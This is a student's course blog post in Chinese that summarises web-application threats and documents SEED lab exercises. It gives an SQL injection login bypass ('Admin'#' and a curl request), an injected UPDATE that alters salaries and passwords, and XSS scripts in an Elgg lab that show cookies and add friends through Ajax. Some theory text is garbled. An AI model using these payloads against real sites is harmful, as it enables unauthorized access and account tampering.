20199328 2019-2020-2 《网络攻防实践》第11周作业

20199328 2019-2020-2 《网络攻防实践》第11周作业

1.实践内容

Web应用程序体系结构及其安全威胁

Web应用体系结构

浏览器作为 " 瘦 “ 客户端主要完成数据显小与展示内容的渲染(render)功能' ; 而由功能强大的" 胖“ 服务器负负完成士哎业务的计算
处理; 两者之间通过因特网或内联网上HTTP/HITPS应用层协议的诸求与应答进行通信。

Web应用安全威胁

  • 针对浏览器和终端用户的Web浏览安全威胁
  • 针对传输网络的网络协议安全威胁
  • 系统层安全威胁
  • Web服务器软件安全威胁
  • Web应用程序安全威胁
  • Web数据安全威胁

Web应用安全攻防技术概述

Web应用的信息收集

  • 手工审查Web应用程序结构与源代码:静态和动态生成的页面、目录结构、辅助性文件、输入表单、查询参数字符串
  • 自动下载与镜像Web站点页面
  • 使用Google Hacking技术审查与探测Web应用程序
  • Web 应用程序安全评估与漏洞探测

攻击Web数据内容

攻击Web服务器软件

  • 数据驱动的远程代码执行安全漏洞
  • 服务器功能扩展模块漏洞
  • 样本文件安全漏洞
  • 源代码泄露
  • 资源解析攻击

攻击Web数据内容

  • 安全敏感数据泄露
  • 网站篡改
  • 不良信息内容上传

Web 应用安全防范措施

  • Web 站点网络传输安全设防
  • Web 站点操作系统及服务安全设防措施
  • Web 应用程序安全设防措施
  • Web 站点数据安全设防措施

SQL注入

SQL注入是利用Web应用程忭数据层存在的输入验证不完社型安全肋洞实施的一类代 码注入攻击技术。

SOL 注入攻击原理

SQL 注入攻击的原理是向 Web 应用程序提供的用户输入接口(如一个动念页面的输入 参数、 表单的输入框, 等等)输入一段精心构造的 SQL 查询命令, 攻市和利用不完善的输入验讥机制, 使得注入代码得以执行完成非预期的攻击操作行为。

SQL注入攻击步骤和过程

  • 发现SQL注入点
  • 判断后台数据库类型
  • 后台数据库中管理员用户口令字猜解
  • 上传ASP后门, 得到默认账户权限
  • 本地权限提升
  • 利用数据库扩展存储过程执行Shell命令

SQL注入攻击防范措施

  • 使用类型安全(type-safe)的参数编码机制
  • 凡是来自外部的用户输入, 必须进行完备检查
  • 将动态SQL语句替换为存储过程、 预编译SQL或ADO命令对象
  • 加强 SQL 数据库服务器的配置与连接

xss 跨站脚本攻击

xss 攻击技术原理

攻击者利用Web应用程序中的安全漏洞,在服务器端网页中插入一些恶意的客户端脚本代码,在Web服务器上产生出一些恶意攻击页面。

xss 攻击类型

安全业界普遍将其分为两种主要的XSS漏洞类型即持久性XSS涌洞(PersistentCross Sile Scripting)和非持久性XSS涌洞(Non-persistentCross Site Scripting),利用这两类漏洞的攻击也被称为持久性XSS 攻击与非持久性XSS攻击

2.实践过程

SQL Injection Attack Lab

首先登陆mysql,数据库的账户是root,密码是seedubuntu

选择库,并且查询所有的表。

搜索和alice有关的信息

在/var/www/SQLInjection。其中有一个存在sql注入攻击的主页unsafe_home.php,通过vim查看对应的原代码找到这样一段关于数据库查询的代码

关键代码:

$input_uname = $_GET[’username’];
$input_pwd = $_GET[’Password’];
$input_uname = sha1($input_pwd);
...
$sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’";
$result = $conn -> query($sql);

if(id != NULL) {
if(name==’admin’) {
		return All employees information;
} else if (name !=NULL){
		return employee information;
}
} else {
	Authentication Fails;
}

查询语句:

SELECT id, name, eid, salary, birth, ssn, address, email,nickname,Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’

将其中的用户名改为Admin'#,密码改为任意值,这个查询语句就会变为:

SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= 'Admin' #''and Password='$hashed_pwd'

在#之后的全都被注释掉了,不需要验证密码就可以通过验证

输入的username字段为Admin‘#,Password字段为任意值,去网页登陆

在命令行做到这一点。使用curl,将参数放在里面进行攻击这里需要注意转义字符 curl

curl http://www.seedlabsqlinjection.com/unsafe_home.php?username=Admin%27%23&Password=balabala

用登陆前面管理员登录的账号,进入edit profile修改
',salary='123'where Name='Alice';#

修改别的人工资,同上,换名字就可以了

修改别人的密码,把薪水改成密码就行了

XSS攻击

  • 显示警告窗口

  • 弹窗显示cookie信息

获取受害者的cookie,上面的获取cookie只是弹到了窗口里,这次要发送给自己

用nc来监视我选择的端口。再访问主页之后,可以看到我的端口收到了cookie

  • 添加受害者好友

需要知道请求好友的指令。首先要正常情况下添加一次好友

档案的参考代码缺少了一块信息

<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token; 
//Construct the HTTP request to add Samy as a friend.
var sendurl=...; //FILL IN
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>

用HTTP header live来查看数据,得知缺省的部分应该是:"http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
将这段代码放到Alice的About ME,注意这里要用右上角的Edit HTML模式,可视模式会将代码中的符号进行自动转义,从而导致攻击失败

用boby的账号访问Alice的个人主页,返回看boby的朋友圈会看到

  • 修改别人的信息

脚本的框架在pdf中也给了,缺省的值也和上一题获取的方法一样

然后alice访问主页之后,自我介绍就会被修改。

3.学习中遇到的问题及解决

  • 问题1:seed连不上网
  • 问题1解决方案:还原默认网络环境
  • 问题2:代码写不出
  • 问题2解决方案:参考参考

4.实践总结

要多学学各种代码

posted @ 2020-05-12 16:45  刘琳杰20199328  阅读(464)  评论(0编辑  收藏  举报
返回顶部